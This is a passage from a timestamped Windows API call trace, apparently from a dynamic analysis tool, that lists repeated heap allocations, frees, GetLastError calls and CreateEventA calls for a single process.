RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95178 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95100 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95220 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c950e8 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95010 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c950a0 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c951d8 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95130 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95148 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94fb0 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95058 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95040 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94fc8 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95070 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95160 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95190 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95268 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95088 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c950b8 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95208 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c950d0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c951a8 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94fe0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95238 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95028 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c951c0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c951f0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95448 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95598 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95550 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95460 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95538 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95490 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95340 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95568 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95580 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95358 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95508 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c952b0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95370 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c953d0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95418 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c953a0 [0074.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95478 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c952e0 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c954a8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95430 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c953b8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c954d8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95520 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c953e8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95400 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c954f0 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c954c0 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c952c8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c952f8 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95310 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95328 [0074.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95388 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95718 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95700 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95730 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95628 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95640 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c957c0 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95748 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c955f8 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95760 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95610 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95790 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c956a0 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c956b8 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c955b0 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95658 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95670 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95778 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95898 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c957a8 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c957d8 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95688 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c955c8 [0074.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c956d0 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c956e8 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95868 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c957f0 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95808 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95820 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c955e0 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95838 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95850 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95880 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95ad8 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95b38 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95a18 [0074.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95ad8 | out: hHeap=0x2ad0000) returned 1 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95b80 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95b08 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95988 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95af0 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95970 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95928 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95b98 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95ac0 [0074.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c958b0 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95b68 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95a30 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95a48 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95a78 [0074.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c958c8 [0074.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95d90 | out: hHeap=0x2ad0000) returned 1 [0074.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96108 | out: hHeap=0x2ad0000) returned 1 [0074.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e70 | out: hHeap=0x2ad0000) returned 1 [0074.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97140 | out: hHeap=0x2ad0000) returned 1 [0074.646] GetLastError () returned 0x0 [0074.646] GetLastError () returned 0x0 [0074.646] GetLastError () returned 0x0 [0074.646] GetLastError () returned 0x0 [0074.646] GetLastError () returned 0x0 [0074.646] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.647] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.648] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.649] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.650] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.651] GetLastError () returned 0x0 [0074.652] GetLastError () returned 0x0 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94800 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94878 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c948d8 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94950 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94c08 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94b60 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94d10 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f08 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95118 | out: hHeap=0x2ad0000) returned 1 [0074.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c952f8 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95328 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c958b0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95be0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95c28 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95688 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c956d0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95f28 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95eb0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96330 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c962d0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96708 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96750 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94ef0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94ec0 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96828 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96a80 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96a98 | out: hHeap=0x2ad0000) returned 1 [0074.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96c60 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96c90 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96d50 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cd8 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96be8 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cf0 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cc0 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96d98 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96af8 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97008 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97038 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97308 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c972f0 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97128 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c972c0 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97368 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97230 | out: hHeap=0x2ad0000) returned 1 [0074.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97278 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97110 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97290 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97158 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c971b8 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97260 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97200 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96b28 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e28 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96fc0 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96df8 | out: hHeap=0x2ad0000) returned 1 [0074.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e10 | out: hHeap=0x2ad0000) returned 1 [0074.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96ea0 | out: hHeap=0x2ad0000) returned 1 [0074.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96db0 | out: hHeap=0x2ad0000) returned 1 [0074.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97098 | out: hHeap=0x2ad0000) returned 1 [0074.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7938 | out: hHeap=0x2ad0000) returned 1 [0074.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71660 [0074.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7938 [0074.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7980 [0074.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7980 | out: hHeap=0x2ad0000) returned 1 [0074.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa4) returned 0x2c32118 [0074.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7980 [0074.660] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x234 [0074.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7998 [0074.660] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x238 [0074.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca79b0 [0074.660] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x23c [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7db8 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x240 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7cc8 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x244 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7ce0 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x248 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7bd8 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x24c [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c20 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x250 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c98 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x254 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7da0 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x258 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 